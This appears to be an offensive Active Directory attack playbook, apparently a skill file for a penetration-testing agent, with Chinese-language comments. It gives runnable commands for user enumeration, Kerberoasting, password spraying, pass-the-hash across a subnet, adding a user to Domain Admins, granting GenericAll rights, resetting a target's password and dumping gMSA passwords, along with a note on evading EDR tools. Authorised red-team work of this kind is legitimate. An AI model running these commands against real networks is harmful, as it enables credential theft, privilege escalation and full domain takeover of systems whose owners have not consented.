Taking down the domain controller = controlling the entire network.
⛔ In-depth reference (must read)
- Need domain reconnaissance environment setup and initial enumeration → references/ad-recon-setup.md
- Need post-authentication in-depth enumeration methods → references/authenticated-enum.md
- Need detailed commands for password spraying, AS-REP Roasting, Kerberoasting → references/credential-attacks.md
- Need delegation attacks (RBCD), ACL abuse, DCSync, persistence → references/domain-escalation.md
- → references/zerologon-attack.md — CVE-2020-1472 ZeroLogon attack and recovery
Phase 1: Domain Environment Confirmation and Information Gathering
1.1 Confirm Domain Environment
systeminfo | findstr /i "domain" # Windows
nltest /dclist:DOMAIN_NAME
nslookup -type=SRV _ldap._tcp.dc._msdcs.DOMAIN # Linux
The domain controller IP is usually the DNS server (ipconfig /all DNS Server in ).
1.2 Domain Enumeration (no credentials required)
kerbrute userenum -d DOMAIN --dc DC_IP userlist.txt
netexec ldap DC_IP -u '' -p '' --users # LDAP 匿名绑定
1.3 In-depth Domain Enumeration (requires domain user credentials)
netexec ldap DC_IP -u USER -p PASS --users
net accounts /domain # 密码策略（锁定阈值！）
impacket-GetUserSPNs DOMAIN/USER:PASS -dc-ip DC_IP # SPN 枚举
bloodhound-python -d DOMAIN -u USER -p PASS -dc DC_IP -c all
BloodHound can automatically discover attack paths and is the most powerful tool for domain penetration.
Phase 2: Attack Decision Tree
拥有的凭据？
├─ 无凭据 → AS-REP Roasting（无需预认证的用户）→ [references/credential-attacks.md](references/credential-attacks.md)
├─ 任意域用户 → Kerberoasting（SPN 服务账户）→ [references/credential-attacks.md](references/credential-attacks.md)
│ → 密码喷洒（先查锁定策略！）→ [references/credential-attacks.md](references/credential-attacks.md)
│ → BloodHound 找攻击路径
├─ 本地管理员 → SAM dump → PTH 横向 → 凭据复用
├─ 域管权限 → DCSync 提取所有哈希 → [references/domain-escalation.md](references/domain-escalation.md)
└─ 发现委派/ACL 路径 → 委派攻击/ACL 滥用 → [references/domain-escalation.md](references/domain-escalation.md)
Credential Reuse Quick Reference
netexec smb 10.0.0.0/24 -u USER -p PASS --continue-on-success
netexec smb 10.0.0.0/24 -u admin -H NTLM_HASH # PTH
Tool Quick Reference
| Scenario | Recommended Tool |
|---|---|
| Domain Enumeration | BloodHound, netexec |
| Ticket Attacks | impacket suite |
| Password Cracking | hashcat |
| Vulnerability Exploitation | certipy (ADCS), zerologon script |
| NTLM Relay | ntlmrelayx + Responder |
| Certificate Attacks | certipy (ESC1-ESC11) |
Password Spray Security Policy
- Check domain password policy: Lockout duration
- Avoid account lockout affecting availability
- observation window: understand counter reset time
Tool Alternatives and Evasion
- SharpHound may be blocked (antivirus/EDR), alternatives needed
- LDAP queries can be executed remotely: no need to upload tools, no touching the target file system
Supplementary Tools
bloodyAD — AD LDAP operations
# 添加用户到组
bloodyAD -d DOMAIN -u USER -p PASS --host DC_IP add groupMember "Domain Admins" "TARGET_USER"
# 修改 ACL（添加 GenericAll）
bloodyAD -d DOMAIN -u USER -p PASS --host DC_IP add genericAll "OU=xxx,DC=dom,DC=local" TARGET_USER
# 查询可写对象
bloodyAD -d DOMAIN -u USER -p PASS --host DC_IP get writable
# 修改密码
bloodyAD -d DOMAIN -u USER -p PASS --host DC_IP set password TARGET_USER "NewP@ss123"
ldeep — in-depth LDAP enumeration
# 连接并枚举
ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP all
# 枚举委派配置
ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP delegations
# 枚举 SPN
ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP spns
# 枚举 ASREPRoast 用户
ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP asreproast
# 枚举信任关系
ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP trusts
enum4linux-ng — SMB/RPC enumeration
# 完整枚举（用户、组、共享、策略、RID）
enum4linux-ng -A TARGET_IP
# 认证枚举
enum4linux-ng -A TARGET_IP -u USER -p PASS
# 仅用户枚举
enum4linux-ng -U TARGET_IP -u USER -p PASS
gMSADumper — gMSA password extraction
# 导出 gMSA 账户密码
python3 /pentest/gMSADumper/gMSADumper.py -d DOMAIN -u USER -p PASS -l DC_IP